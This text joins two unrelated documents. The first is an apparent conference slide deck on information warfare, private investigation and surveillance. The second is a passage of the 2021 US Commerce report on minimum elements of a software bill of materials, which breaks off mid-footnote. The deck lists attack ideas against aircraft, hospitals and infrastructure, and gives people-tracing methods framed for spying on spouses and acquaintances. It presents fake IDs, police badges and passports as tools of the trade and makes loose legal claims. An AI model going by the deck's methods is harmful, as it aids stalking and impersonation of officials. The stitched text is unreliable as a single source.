government backing  The U.S. Air Force, Army, and Navy have established Information Warfare (IW) centers  Military information “war games” are now being conducted to prepare for such contingencies (both offensively and defensively) Information Warfare Categories  Offensive - Deny, corrupt, destroy, or exploit an adversary’s information, and influence the adversary’s perception  Exploitative - Exploit available information to enhance the nation’s decision/action cycle, and disrupt the adversary’s cycle  Defensive - Safeguard the nation and allies from similar actions, also known as IW hardening. Cyber Warfare  In the U.S., more than 95% of military communications are conducted over commercial systems (phone, fax, Internet, NIPRNET, SIPRNET, satellite)  An increasing amount of technology is being used to fight wars (from un-manned attack systems to cyber-enabled war-fighters)  Military information systems and applications drive JTF warfare decisions (personnel/technical assets, logistics, and strategy)  The identifiable U.S. targets and their risks have changed drastically Menu-Driven Warfare 1. Select a nation 2. Identify objectives 3. Identify technology targets 4. Identify communications systems 5. Identify offensive weapons 6. Attack > Enter your selection: Cyber Warfare Techniques  Initiate virus attacks on enemy systems  Intercept telecommunications transmissions  Implant code to dump enemy databases  Attach worms to enemy radar signal to destroy the network  Intercept television/radio signals and modify their content (public psychological warfare)  Misdirect radar and content Cyber Warfare Techniques (cont.)  Aggregate pieces of information from many different sources to gain “intelligence” on enemy military capabilities  Provide disinformation, such as troop strength, location or number of technical assets  DoS enemy computers and communications networks  Actively penetrate enemy governmental intelligence and information nodes to steal or manipulate information  Modify maintenance systems information  Modify enemy logistics systems Techno-Terrorist Warfare  Terrorism (FBI definition) - The unlawful use of force or violence against persons or property to intimidate or coerce a government, the civilian population, or any segment thereof, in furtherance of political or social objectives  International Terrorism (CIA definition) – Terrorist activities conducted with the support of foreign governments or organizations and/or directed against foreign nations, institutions, or governments  Terrorism (DoD definition) - Premeditated, politically motivated violence perpetrated against a non-combatant target by sub-national groups or clandestine state agents, usually intended to influence an audience  Governments and terrorists are CURRENTLY ACTIVELY PLANNING ATTACKS on U.S. critical infrastructure components (both in support of military actions, and to turn the general “quality of life” for U.S. citizens to shit) Techno-Terrorist Warfare Techniques  Using a computer, penetrate a control tower computer system and send false signals to aircraft, causing them to crash in mid-air or fall to the ground  Use fraudulent credit cards to finance their operations  Penetrate a financial computer system and divert millions of dollars to finance their activities  Use cloned cellular phones and computers over the Internet to communicate, using encryption to protect their transmissions  Use virus and worm programs to shut down vital government computer systems  Change hospital records, causing patients to die because of an overdose of medicine or the wrong medicine, or modifying computerized test analysis to alter all future results Techno-Terrorist Warfare Techniques (cont.)  Destroy critical government computer systems  Penetrate computerized train routing systems, causing passenger trains to collide  Take over telecommunications links or shut them down  Take over satellite links to broadcast their messages over televisions and radios  And MOST LIKELY of all, disrupt power, gas, water, transportation, and telecommunications systems (critical infrastructure components) Private Investigation Private Investigation  “Private Investigation” – research to develop knowledge on a human subject, by obtaining identifiable private information that can be linked to the individual  Used to locate missing people, spy on spouses/friends/acquaintances/enemies, locate birth parents, evaluate prospective employees or business partners, etc. Personal Identifiers  full legal name  former names  aliases  mother's maiden name  date of birth  social security number  drivers license number  alien number  FBI number  current address  former addresses  hair color/eye color  height/weight  tattoos  physical abnormalities  fingerprints  photographs/mug shots  DNA Investigation Methods  Begin by writing down everything you know about your subject (don't discount any piece of information, no matter how trivial it may appear)  Start the investigation from the person’s address (if you have it), and work out from there  Check city and cris-cross directories at the library  Research property records  Ask at the Post Office for any change of address on the person  Ask neighbors for information  Research marriage records Investigation Methods (cont.)  Interview any of the following for detailed info: Spouse - Former spouses - Mother/Father - Sisters/Brothers - Aunts/Uncles – Children – Grandparents - In-laws – Friends – Landlords - Car dealer – Mechanic – Accountant – Attorneys – Stockbroker – Hairdresser - Insurance agent - Religious affiliations - Gardener/lawn care – Veterinarian – Fellow hobbyists - Financial institutions - Real estate brokers - Medical providers - Child or parental care - Fitness club - Travel agent – Teachers – Children - Maids Investigation Methods (cont.)  Ask questions such as: Do you know subject? How long have you known the subject? How well did you know the subject? What kind of work does subject do? Where did subject work? Married? Spouses name? Any children? Did subject hang out with anyone in the neighborhood? Do you know where subject was born and came from? Do you know where subject's family lives? Do you know what kind of car subject drives? Do you know where subject went to school? Any children away at school? continued…. Investigation Methods (cont.)  Continued questions…. Do you know if subject belonged to any organizations? Did subject ever talk about serving in the military? Do you know if subject had any help around the house? Do you know where subject got married? Divorced? Where? When? Is subject religious? Attends what church? Any interests or hobbies you know of? Does subject have special medical problems or needs? Does subject own other property, boats, motor homes, airplanes? Any problems with drugs or alcohol? Problems with marital relationship? Problems with finances? Do you know where subject is? Investigation Methods (cont.)  Utilize public records resources (discussed in the next several slides)  Establish surveillance – Tailing – Monitoring – Electronic techniques Because much of this can get into ILLEGAL areas, it makes sense NOT TO DISCUSS specific tools and techniques BEFORE discussing relevant laws (included later in this talk) Free Public Record Resources  Federal Web Locator http://www.greenepa.net/~dalex/fedwebloc.html  National Archives and Records Administration http://ardor.nara.gov/  National Archives & Records http://www.archives.ca/www/svcs/english/PersonnelRecords.html  National Records Center http://www.nara.gov/regional/nrmenu.html  US Census Home Page http://www.census.gov/  Finding Treasures in the U.S. Federal Census http://www.firstct.com/fv/uscensus.html  National Personnel Records Center http://www.nara.gov/regional/stlouis.html  Social Security Administration http://www.ssa.gov/  IRS http://www.irs.ustreas.gov/ Free Public Record Resources (cont.)  Federal Office of Child Support Enforcement http://www.acf.dhhs.gov/programs/cse/index.html  National Center for Missing and Exploited Children http://www.ncmec.org/  INS http://www.ins.usdoj.gov/  Dept. of State Passport Service http://travel.state.gov/passport_services.html  Selective Service Commission http://www.sss.gov/  Federal Courts http://www.uscourts.gov/  Federal Prison System http://www.bop.gov/  Family History Center http://www.genhomepage.com/FHC/fhc.html  Social Security Death Index http://www.ancestry.com/ssdi/advanced.htm National Public Info Database Services  AutoTrackXP – 1-800-279-7710 – www.atxp.com  ChoicePoint – 1-888-333-3356 – www.choicepointonline.com  Lexis-Nexis – 1-800-227-9597 – www.lexis-nexis.com  Merlin Information Services – 1-800-367-6646 – www.merlindata.com (best bet and budget, especially for CA) Types of Public Info Available  The four (4) services listed on the previous page can pull the following national, state, and sometimes municipality public records: Wingate National PeopleFinder – U.S. District Civil & Criminal Court Filings - Bankruptcies – Tax Liens – Boat Registrations – Real Property Ownership – Motor Vehicle Records – Professional Licenses – State Civil Case Filings – State Criminal Case Filings – Voter Registrations – Marriage Records Index – SSN Death Records – Municipal Civil & Criminal Cases (selected) – Divorce Records – Incarceration Records – Accident Records –Boating Citations – Concealed Weapons Permits – Convictions – Handicap Parking Permits - Judgments – Business Credit Reports – Credit Headers – DEA Registrants – Executive Affiliations – FAA Pilots – FAA Aircraft Ownership by Name – FCC Licenses – Federal Employer ID Numbers – Physician Reports by Medi- Net – Significant Shareholders – Address Inspector – UCC Searches – Firearms and Explosives Licenses – Phone Listings – U.S. Military Personnel – TraceWizard Residential Locator – TraceWizard Business Locator – Probable Carrier – National FBNs & Business Filings – Chiropractor Reports – Sexual Offender Registrations – Workers Compensation Records – etc. Credit Checks  There are four (4) national credit reporting services – Equifax – Experian – TransUnion – TRW  Typical costs for information are: – Annual subscription to one service for ~$70 – One-time credit check from one service for ~$10 – Consolidated one-time report for ~$30 Lots More Online Resources  LOTS of links to free people searches (phone books, e-mail, address, etc.), category searches (adoptees, missing persons, genealogy, etc.), as well as to fee-based people search and private investigation services can be found at: http://www.pimall.com  And a few specific popular free search links: http://www.switchboard.com/ http://www.anywho.com/ http://www.dir.org/ http://www.555-1212.com/ http://www.infoseek.com/ http://www.payphones.com/ipp.htm http://netaddress.usa.net/ http://worldemail.com/wede4.shtml http://www.yahoo.com/search/people/suppress.html http://www.metacrawler.com/ Dept. of Justice Databases  Alien Status Verification Index System (INS)  Automated Biometric Identification System (INS fingerprint database)  Automated Intelligence Records System (DEA, INS, Coast Guard)  Central Index System (INS)  Confidential Source System (DEA)  Controlled Substances Act System (DEA)  DEA Aviation Unit Reporting System (DEA)  Deportable Alien Control System (INS)  Domestic Security/Terrorism Investigations Records System (Office of Intelligence)  Drug Testing Program Record System (DEA)  Electronic Surveillance Tracking System ( Criminal Division)  Essential Chemical Reporting System (DEA)  Fingerprint Identification Records System (FBI)  Grants of Confidentiality Files (DEA)  Inappropriate Communications/Threat Information System (U.S. Marshals) Dept. of Justice Databases (cont.)  Information Support System (Natl. Drug Intelligence Center)  International Intelligence Database (DEA)  Narcotics and Dangerous Drugs Information System (DEA)  National Automated Immigration Lookout System II (INS)  National Crime Information Center (FBI) *  National DNA Index System (FBI)  National Drug Pointer Index (DEA)  National Instant Criminal Background Check System (FBI)  Security Clearance Forms for Grand Jury Reports (U.S. Attorneys Executive Office)  Sentry (Federal Bureau of Prisons)  Threat Analysis Information System (U.S. Marshals)  Warrant Information System (U.S. Marshals)  Witness Immunity Tracking System (Criminal Division) Are You Under Surveillance?  Your garbage disappears before the trash collection passes  Suspicious people or vehicles appear in multiple locations  Others know your activities when they shouldn’t  Confidential business information seems to be known to others  Someone tells you that someone else was asking questions about you  You have been the victim of a burglary, but nothing was taken  Electrical wall plates appear to have been moved slightly  You’ve noticed static, popping, scratching, strange sounds, beeps, or volume changes on your phone lines  Sounds are coming from your phone’s handset when it’s hung up (check by using an external amplifier)  Your phone rings and nobody is there, or a very faint tone or high-pitched beep is heard Are You Under Surveillance? (cont.)  Your radio or television has suddenly developed strange interference  Your car radio makes strange sounds  Dime-sized discolorations appear on the wall or ceiling  Someone just gave you any type of electronic device (desk radio, alarm clock, lamp, small TV, boom box, CD player, etc.)  A small bump has appeared on the vinyl baseboard near the floor  The smoke detector, clock, or lamp in your office/home looks slightly crooked, has a small hole in the surface, or has a quasi-reflective surface  Certain items have appeared in your office or home, but no one knows where they came from  Drywall dust or debris is noticed on the floor next to the wall Are You Under Surveillance? (cont.)  You notice small pieces of ceiling tiles or grit on the floor or on the surface of your desk  You notice that “phone company” trucks and utilities workers are spending a lot of time near your home or office doing repair work  Telephone, cable, plumbing, or air conditioning repair people show up to check something out when no one called them  Service or delivery trucks are often parked nearby with nobody in them  Your door locks suddenly don’t feel right (sticky or failing)  Furniture has been moved slightly  Things seem to have been rummaged through Tools of the Trade Truth Phone  Lie Detection  Desktop phone  Conversation Recorder Wireless Video Sunglasses  Discretely videotape from hidden camera  Real-time Video Video Pen  Recording live events  Compact size Tie Camera  Housed in “stylish” Italian ties  Compact Night Vision Monocular  Cold war technology  High image quality & range  No Batteries  Price: $274.95 Laser Listening Device  No Transmitter  Clear night laser technology  High range  Price: $ 349.95 Portable Voice Changer  Easy to connect to your phone  Up to 8 profiles  Built in amplifiers  Price: $ 99.95 BloodHound  Bug/wire detector  Advanced RF detector  Microphone detector  Price: $ 249.95 Identification Credentials  Fake ID’s (drivers licenses, work badges, etc.)  Diplomas  Law Enforcement Badges  Government Employee ID  Passports  Professional Licenses  Press Credentials Important Laws Wiretaps  18 USC 2510 - Electronic Communications Privacy Act of 1986 – Unauthorized interception of an electronic communication (whether recorded or not)  Includes phone, pager, cell phone, cordless phone, fax, or data transmission (got sniffer?)  Penalties include up to 5 years imprisonment, criminal fines, possible civil liability  Law also prohibits illegally intercepted communications from being entered as evidence in court  Law ALSO makes it illegal to use an electronic device to listen to or record oral communications, under same penalties Recording Phone Calls  Wiretap law applies (previous slide)  Some notable exceptions: – Calls can be recorded with consent of at least ONE party (* 12 states require consent by BOTH parties – CA, CT, DE, FL, IL, MD, MA, MI, NE, NH, PA, WA) – Businesses may monitor business-related phone calls of employees, using phone company equipment only – 48 CFR Sec.64.501 (FCC) requires that at least ONE of the following occur: • Both parties consent • Recording party gives verbal notification before recording • Must be a regular electronic beep tone during recording Surveillance  Established by “case law”, not “statute”  Non-threatening observation and/or photography from publicly accessible areas is acceptable, whereas trespassing on private property or altering environment (cutting holes in bushes/fences) to aid viewing is not  Penalties include civil liability for “invasion of privacy” or “harassment”, if surveillance is obtrusive or threatening Freedom of Information Act  5 USC 552 - Freedom of Information Act (FOIA) - Allows public access to certain federal government records  Doesn’t apply to state, local government, Congress, or White House courts (however, all states have their own FOIA versions as well)  “Exclusions” are: current law enforcement investigations, C.I. disclosure, FBI records related to terrorism or espionage  There are also many “exemptions”, which MAY be released unless prohibited by other laws or if their release would cause no foreseeable harm  No penalties for violation (at least directly)  Call 1-800-688-9889 to obtain FOIA “officer contact info” for any federal agency Privacy Act  5 USC 552a - Privacy Act of 1974 – Allows any citizen to view and amend (if incorrect) any federally maintained database information about himself/herself  Also sets forth guidelines for federal agencies to follow when collecting and using data (i.e., name, SSN)  Penalties for persons obtaining information under false pretense OR for federal employees improperly releasing information include misdemeanor conviction and up to $5K fine  Civil remedies can be obtained against government agencies that violate the act Mail Inspection  18 USC 1702, 1708 - Obstruction of Correspondence & Theft or Receipt of Stolen Mail – It is a crime to take, steal, or remove any mail without permission  Penalties include fines, imprisonment up to 5 years, possible civil liability for invasion of privacy Trash Inspection (Dumpster Diving)  Established by “case law”, not “statute”  US Supreme Court ruled that “any person who places his/her trash at the curb of a public street for pickup has no reasonable expectation of privacy over the trash”  If trash is located in area marked as “private” or “no trespassing”, “diving” is obviously illegal  Exceptions: – Several municipalities have local ordinances making curbside trash off limits to anyone but the “trash man” – Hawaii, New Jersey, Washington, and Vermont may have state supreme court rulings which conflict with US Supreme Court ruling – At least one exception allows trash to be turned over to police after being picked up  Penalties include civil and criminal penalties for trespassing and invasion of privacy where collection is made from private property  Local municipalities may have additional limited penalties Economic Espionage  18 USC 1831 - Economic Espionage Act of 1996 – Obtaining a trade secret from a U.S. business without authorization and providing it to a foreign government, agent, or company is a federal crime  Penalties include up to 15 years imprisonment, fines up to $10,000,000, and civil liability Computer Crime (H4x0ring)  18 USC 1030 - Fraud and Related Activity in Connection with Computers – Unauthorized access into the computer of a government, business, or person is a federal crime if the entry includes removal/copy of information, destruction of files, or the planting of any code or virus  Penalties include up to 10 years imprisonment, fines, and persons harmed by unauthorized access can sue for compensatory damages and injunctive relief  When unauthorized access to a computer occurs and the only fraud is use of the computer and the value of such use is less than $5K in any one year, NO CRIME HAS BEEN COMMITTED  Also crimes under this statute: – Trafficking in computer passwords with the intent to defraud is also a crime under this statute – Any threat sent via computer with intent to extort money or anything of value  Several states have implemented more restrictive (simple trespass) laws Stored Communications  18 USC 2701 - Electronic Privacy Communications Act of 1986 – Unauthorized access to electronically stored communications (such as e-mail or telegrams) is a federal crime  Penalties include up to 2 years imprisonment, civil action by aggrieved party to recover actual and punitive damages  Civil actions must be filed within 2 years of the violation discovery date Other Laws of Interest  18 USC 701, 712, 912, 913 – Impersonation of a Federal Official  18 USC 1905 – Disclosure of Confidential Information  26 USC 6103 – Confidentiality and Disclosure of Returns and Return Information  18 USC 3534a - Government Information Security Reform Act of 2000  Public Law 104-191 - Health Insurance Portability and Accountability Act of 1996  18 USC 2721 – Driver Privacy Protection Act  29 USC 2001 - Employee Polygraph Protection Act of 1988  18 USC 2710 – Wrongful Disclosure of Videotape Rental or Sales Records  15 USC 1692 – Fair Debt Collection Practices Act  Public Law 106-102 – Financial Services Modernization Act of 1999  15 USC 1681 – Fair Credit Reporting Act  39CFR265.6 – Code of Federal Regulations  20 USC 1232g – Family Educational Rights and Privacy Act Law Wrap-up (finally)  Full text of most laws referenced in this presentation can be found at: http://www4.law.cornell.edu/uscode/ Presentation Wrap-up  What have we learned? Intelligence Gathering QUESTIONS??	pdf
The Minimum Elements For a Software Bill of Materials (SBOM) Pursuant to Executive Order 14028 on Improving the Nation’s Cybersecurity The United States Department of Commerce July 12, 2021 Department of Commerce The Minimum Elements for an SBOM 2 Table of Contents Table of Contents ............................................................................................................................ 2 I. Executive Summary ............................................................................................................. 3 II. Background .......................................................................................................................... 5 The Case for Transparency ......................................................................................................... 5 III. Scope .................................................................................................................................... 6 IV. Minimum Elements .............................................................................................................. 8 Data Fields .................................................................................................................................. 8 Automation Support .................................................................................................................. 10 Practices and Processes ............................................................................................................. 11 V. Beyond Minimum Elements: Enabling Broader SBOM Use Cases .................................. 13 Recommended Data Fields ....................................................................................................... 14 Cloud-based Software and Software-as-a-Service.................................................................... 15 SBOM Integrity and Authenticity ............................................................................................. 16 Vulnerabilities and SBOM ........................................................................................................ 16 Vulnerability and Exploitability in Dependencies .................................................................... 17 Legacy Software and Binary Analysis ...................................................................................... 18 Flexibility vs Uniformity in Implementation ............................................................................ 18 VI. Future SBOM Work ........................................................................................................... 19 VII. Conclusion ......................................................................................................................... 21 Appendix A: Methodology ........................................................................................................... 23 Appendix B: Glossary ................................................................................................................... 25 Appendix C: Acronym List ........................................................................................................... 28 Department of Commerce The Minimum Elements for an SBOM 3 I. Executive Summary The Executive Order (14028) on Improving the Nation’s Cybersecurity directs the Department of Commerce, in coordination with the National Telecommunications and Information Administration (NTIA), to publish the “minimum elements” for a Software Bill of Materials (SBOM). An SBOM is a formal record containing the details and supply chain relationships of various components used in building software. In addition to establishing these minimum elements, this report defines the scope of how to think about minimum elements, describes SBOM use cases for greater transparency in the software supply chain, and lays out options for future evolution. An SBOM provides those who produce, purchase, and operate software with information that enhances their understanding of the supply chain, which enables multiple benefits, most notably the potential to track known and newly emerged vulnerabilities and risks. SBOM will not solve all software security problems, but will form a foundational data layer on which further security tools, practices, and assurances can be built. The minimum elements as defined in this document are the essential pieces that support basic SBOM functionality and will serve as the foundation for an evolving approach to software transparency. These minimum elements comprise three broad, interrelated areas. Minimum Elements Data Fields Document baseline information about each component that should be tracked: Supplier, Component Name, Version of the Component, Other Unique Identifiers, Dependency Relationship, Author of SBOM Data, and Timestamp. Automation Support Support automation, including via automatic generation and machine-readability to allow for scaling across the software ecosystem. Data formats used to generate and consume SBOMs include SPDX, CycloneDX, and SWID tags. Practices and Processes Define the operations of SBOM requests, generation and use including: Frequency, Depth, Known Unknowns, Distribution and Delivery, Access Control, and Accommodation of Mistakes. This document identifies minimum elements that will enable basic use cases, such as management of vulnerabilities, software inventory, and licenses. It also looks forward, beginning a conversation on recommended SBOM features and advances beyond the minimum elements that may be seen as priorities for further work. This includes key security features such as SBOM integrity, as well as tracking more detailed supply chain data. As additional SBOM elements become feasible, tested, and built into tools, they will enable broader use cases. Some of these aspirational elements are being implemented today or have already shown great potential. The Administration has identified SBOM as a priority to drive software assurance and supply chain risk management, and starting today is better than waiting for perfection. Following the publication of this report, next steps include the development of guidance for providing an Department of Commerce The Minimum Elements for an SBOM 4 SBOM to software purchasers, as directed by the Executive Order, as well as continued collaboration and public-private partnerships to refine and operationalize SBOM work. Department of Commerce The Minimum Elements for an SBOM 5 II. Background On May 12, 2021, the President issued Executive Order (EO) 14028 on Improving the Nation’s Cybersecurity.1 The order focuses on modernizing cybersecurity defenses by: protecting Federal networks, improving information sharing between the U.S. Government and the private sector on cyber issues, and strengthening the United States’ ability to respond to incidents when they occur. Among numerous other taskings, it directed the Secretary of Commerce, in coordination with the Assistant Secretary for Communications and Information and the Administrator of the National Telecommunications and Information Administration (NTIA), to publish minimum elements for a software bill of materials (SBOM) within 60 days of the order. NTIA has been focusing on this issue since 2018, when it convened an open, transparent multi- stakeholder process on software component transparency. NTIA acted as a convener and a neutral facilitator, bringing together experts from around the world that represented multiple sectors and perspectives in the software ecosystem. The resulting resources were drafted by stakeholders, with frequent opportunities for the community to weigh in as the deliverables took form. The documentation from that process provided valuable insight and background material for this activity to propose the minimum elements of an SBOM as directed by EO 14028. The Case for Transparency The Administration notes in the EO, “the trust we place in our digital infrastructure should be proportional to how trustworthy and transparent that infrastructure is.”2 In the modern world, software systems involve complex, dynamic — and, too often, obscure — supply chains. Bringing transparency to the components and connections within and across supply chains is important to discovering and addressing the weak links in those chains. SBOMs are a critical step toward securing the software supply chain. Without them, a lack of transparency into the contributors, composition, and functionality of these systems contributes substantially to cybersecurity risks and increases costs of development, procurement, and maintenance. Transparency is best achieved using an understandable model supported by industry. An SBOM model achieves this systematic sharing by tracking component metadata, enabling mapping to other sources of information, and tying the metadata to software as it moves down the supply chain and is deployed. To scale this model globally, it is necessary to address the problem of universally identifying and defining certain aspects of software components to allow the data to be effectively and efficiently consumed by downstream users.3 1 Exec. Order No. 14,028, 86 Fed. Reg. 26,633 (May 12, 2021). 2 Id. § 1. 3 Framing Working Grp., Nat’l Telecomm. & Info. Admin., Framing Software Component Transparency 4 (2019), https://www.ntia.gov/files/ntia/publications/framingsbom_20191112.pdf. Department of Commerce The Minimum Elements for an SBOM 6 Identification of software components is central to SBOM, providing visibility and awareness. SBOM data can be used for specific purposes, from simple (e.g. mapping to vulnerability database) to complex (e.g. ongoing monitoring of an included OSS package for specifically defined threats by correlating and analyzing multiple data sources). In both cases, external data may still be needed. The SBOM is the necessary glue to allow the relevant external data to be mapped to the software products in question. An SBOM is useful to those who produce, purchase, and operate software. It enables an understanding of the software ecosystem and provides benefits across multiple use cases and users.4 Among these are the use of SBOMs for inventory, vulnerability, and license management by producers and operators, and risk evaluation (license and vulnerability analysis) by purchasers. SBOMs offer advantages to producers such as ensuring that components are up to date and allowing a quick response to new vulnerabilities. SBOMs also offer benefits beyond security such assupporting greater efficiency and effectiveness through visibility, which in turn enables prioritization and better management. For example, they assist the producer with knowing and complying with license obligations. In the use case of vulnerability management, SBOM data helps producers and operators more quickly and accurately assess the risk associated with a newly uncovered vulnerability by providing transparency across dependencies within the software ecosystem. As such, it improves both vulnerability identification and the speed of response. Understanding the software supply chain, obtaining comprehensive SBOM data across software components, and using it to identify and analyze known vulnerabilities and potential mitigations are crucial in managing risk. This can only be realized with machine-readable SBOMs supporting automation and tool integration, and the ability for applications to query and process this data. III. Scope This document establishes the “minimum elements” of an SBOM. These minimum elements will establish the baseline technology and practices for the provisioning of SBOMs and are deemed necessary to achieve the goals expressed in Executive Order 14028. This document also reviews 4 For a more complete discussion on the use cases of SBOM across the software lifecycle, see Multistakeholder Process on Software Component Transparency Use Cases & State of Prac. Working Grp., Nat’l Telecomm. & Info. Admin., Roles and Benefits for SBOM Across the Supply Chain (2019), https://www.ntia.gov/files/ntia/publications/ ntia_sbom_use_cases_roles_benefits-nov2019.pdf. Department of Commerce The Minimum Elements for an SBOM 7 how these basics can be expanded upon and offers some guidance on the tension between having a predictable SBOM format and the need for flexibility, depending on the technology in question and the needs of consumers. SBOMs alone will not address the multitude of software supply chain and software assurance concerns faced by the ecosystem today.5 It is a necessary cliché to acknowledge that there are no cybersecurity panaceas, and SBOM is no exception. As noted above, SBOMs can facilitate better and faster responses to known vulnerabilities. The number of known vulnerabilities for a given piece of software is a function of its install base, the research community, and the supplier’s disclosure process and product security team. More disclosed vulnerabilities may mean the software is less risky to use, since this means that researchers are paying attention and the supplier is managing the disclosure process. SBOM is a starting point that builds on identified vulnerabilities. The minimum elements that are deemed feasible in today’s environment do not capture the full range of metadata around software source, processing, and use that is likely to emerge from modern software processes. Some of this data will be incorporated into future extensions of SBOM data. At the same time, SBOMs will not be the sole resource or mechanism for supply chain security or software assurance. Other data is quite valuable for a range of use cases, but should be considered as separate and complementary to SBOM. Rather than treat the SBOM as a single model for all assurance and software supply chain data, a linkable, modular approach is encouraged to maximize the potential for flexibility and adoption. Linkability enables SBOM data to be easily mapped to other important supply chain data, while a modular architecture supports extensibility for more use cases as software supply chain transparency and management data and tools mature. Certain key points of the software supply chain discussion are out of scope of this report, including the question of regulatory and procurement requirements. The minimum elements should not be interpreted to create new federal requirements. The potential benefits of centralizing or pooling SBOM data for operations, threat intelligence or research has not been addressed. Lastly, the “software” in the “Software Bill of Materials” naturally limits considerations of hardware. While software embedded in hardware and devices is certainly in scope, the key supply chain and security issue pertaining to hardware is distinct and complex enough to deserve its own treatment. Finally, nothing in this document should be seen to limit SBOM use or constrain the innovation and exploration occurring across the software ecosystem today. These minimum elements are the 5 For an overview of the range of attacks on the software supply chain, see Dr. Trey Herr et al., Breaking Trust: Shades of Crisis Across an Insecure Software Supply Chain, Atlantic Council (Jul. 26, 2020), https://www.atlanticcouncil.org/in-depth-research-reports/report/breaking-trust-shades-of-crisis-across-an-insecure- software-supply-chain/. Department of Commerce The Minimum Elements for an SBOM 8 starting point. Broadly speaking, this document represents a key, initial step in the SBOM process that will advance and mature over time. IV. Minimum Elements The minimum constituent parts of an overall SBOM – referred to as elements – are three broad, inter-related areas. These elements will enable an evolving approach to software transparency, capturing both the technology and the functional operation. Subsequent efforts will certainly incorporate more detail or technical advances. As noted above, these are the minimum at this point; organizations and agencies may ask for more, and the capabilities for transparency in the software supply chain may improve and evolve over time. (See “Future of SBOM” below) These three categories of elements are: • Data Fields • Automation Support • Practices and Processes A piece of software can be represented as a hierarchical tree, made up of components that can, in turn, have subcomponents, and so on. Components are often “third party,” from another source, but might also be “first party,” that is, from the same supplier but able to be uniquely identified as a freestanding, trackable unit of software. Each component should have its own SBOM listing their components, building the hierarchical tree. The data fields apply to each component, which are, in turn, encoded with tools and formats for automation support following the defined practices and processes. Data Fields The core of an SBOM is a consistent, uniform structure that captures and presents information used to understand the components that make up software. Data fields contain baseline information about each component that should be tracked and maintained. The goal of these fields is to enable sufficient identification of these components to track them across the software supply chain and map them to other beneficial sources of data, such as vulnerability databases or license databases. This baseline component information includes: Department of Commerce The Minimum Elements for an SBOM 9 Data Field Description Supplier Name The name of an entity that creates, defines, and identifies components. Component Name Designation assigned to a unit of software defined by the original supplier. Version of the Component Identifier used by the supplier to specify a change in software from a previously identified version. Other Unique Identifiers Other identifiers that are used to identify a component, or serve as a look-up key for relevant databases. Dependency Relationship Characterizing the relationship that an upstream component X is included in software Y. Author of SBOM Data The name of the entity that creates the SBOM data for this component. Timestamp Record of the date and time of the SBOM data assembly. The majority of these fields assist with the identification of the component to expressly enable mapping to other sources of data. Supplier refers to the originator or manufacturer of the software component. Component Name is determined by the supplier. The capability to note multiple names or aliases for both supplier and component name should be supported if possible. The challenges created by the lack of a single, well-understood and widely used name space for software are well documented.6 The best practice is to use an existing identifier when possible. When none exists, use an existing component identification system. Supplier name and component name are human-readable strings to support identification, although some features of the software ecosystem such as corporate mergers and open source forking will make ubiquitous and permanent solutions on this basis unlikely. Complexity around versions of software is another example of how the diversity in the software ecosystem requires building some flexibility into component identification approaches. Different types of software or suppliers of software track versions and distributions differently. Resolving 6 A single, centralized model that can cover the vast, diverse, and rapidly growing software ecosystem presents very real challenges, notably scaling. A decentralized model where suppliers identify and manage their own software namespace seems the optimal path forward. For more information, see Framing Software Component Transparency, supra note 3, at page 24. Department of Commerce The Minimum Elements for an SBOM 10 this is outside the scope of the initial SBOM discussion.7 For these minimum elements, the version is that offered by the supplier since that party has the ultimate responsibility for tracking and maintaining the software in question, similar to the component name. The desired function of a version string is to identify a specific code delivery. While there are versioning best practices (e.g. semantic versioning8), they are by no means ubiquitous today. Other unique identifiers support automated efforts to map data across data uses and ecosystems and can reinforce certainty in instances of uncertainty. Examples of commonly used unique identifiers are Common Platform Enumeration (CPE),9 Software Identification (SWID) tags,10 and Package Uniform Resource Locators (PURL).11 These other identifiers may not be available for every piece of software, but should be used if they exist. Dependency relationship reflects the directional aspect of software inclusion, and it enables the representation of transitivity from a piece of software to its component and a potential sub- component. Lastly, the SBOM-specific metadata help with the tracking of the SBOM itself. Author reflects the source of the metadata, which could come from the creator of the software being described in the SBOM, the upstream component supplier, or some third party analysis tool. Note that this is not the author of the software itself, just the source of the descriptive data. Timestamp records when the data is assembled -- the point of the SBOM creation. These further support the origin of the data, and help identify updated versions of the SBOM. These data fields provide context to the SBOM data source, and can potentially be used to make trust determinations. Automation Support Support for automation, including automatic generation and machine-readability, allows the ability to scale across the software ecosystem, particularly across organizational boundaries. Taking advantage of SBOM data will require tooling, which necessitates predictable implementation and data formats. For example, some agencies may want to integrate this capability into their existing vulnerability management practices; others might desire real-time 7 As more visibility emerges through SBOM use and consumption, we can expect further discussions, and potentially greater convergence of diverse models, approaches, and schemas. 8 Semantic Versioning 2.0.0, https://semver.org/ (last visited July 1, 2021). 9 See Framing Working Group, Nat’l Telecomms. & Info. Admin., Software Identification Challenges and Guidance (2021), https://www.ntia.gov/files/ntia/publications/ntia_sbom_software_identity-2021mar30.pdf; Official Common Platform Enumeration (CPE) Dictionary, Nat’l Inst. Standards & Tech., https://nvd.nist.gov/products/cpe (last visited July 2, 2021). 10 See Software Identification Challenges and Guidance, supra note 9; ISO/IET 19770-2:2015 Information Technology–IT Asset Management—Part 2: Software Identification Tag, Int’l Standards Org., https://www.iso.org/standard/65666.html (last visited July 2, 2021). 11 See Software Identification Challenges and Guidance, supra note 9; Package-url/purl-spec, GitHub, https://github.com/package-url/purl-spec (last visited July 2, 2021). Department of Commerce The Minimum Elements for an SBOM 11 auditing of compliance against security policies. Automation will be key for both, which in turn requires common, machine-readable data formats. While a single standard may offer simplicity and efficiency, multiple data formats exist in the ecosystem and are being used to generate and consume SBOMs. These specifications have been developed through open processes, with international participation. In addition to being machine- readable, these data formats are also human-readable, better supporting trouble-shooting and innovation. More importantly, these standards have been deemed interoperable for the core data fields and use common data syntax representations. The data formats that are being used to generate and consume SBOMs are: • Software Package Data eXchange (SPDX)12 • CycloneDX13 • Software Identification (SWID) tags14 The SBOM must be conveyed across organizational boundaries in one of these interoperable formats.15 If a new specification should emerge that is compatible with the other data formats, then it should be included for automation support in the context of minimum elements for SBOM. Similarly, if a broad-based determination is made that a data format is no longer cross compatible, or is not under active maintenance and supporting the SBOM use cases, that data format should be removed from the automation requirement as part of the SBOM minimum elements. Standards utilizing proprietary data formats should not be included. This accomplishes the goal of building on existing tools for ease of adoption, supporting future evolution, and extensibility. Practices and Processes An SBOM is more than a structured set of data; to integrate it into the operations of the secure development life cycle an organization should follow certain practices and processes that focus on the mechanics of SBOM use. A number of elements should be explicitly addressed in any policy, contract, or arrangement to ask for or provide SBOMs. Some of these (e.g., frequency) have straightforward requirements. In other cases (e.g., access), multiple practices exist and more are being developed, so the minimum element is a requirement that some arrangement is specified. 12 SPDX, https://spdx.dev/ (last visited May 18, 2021). 13 CycloneDX, https://cyclonedx.org/ (last visited May 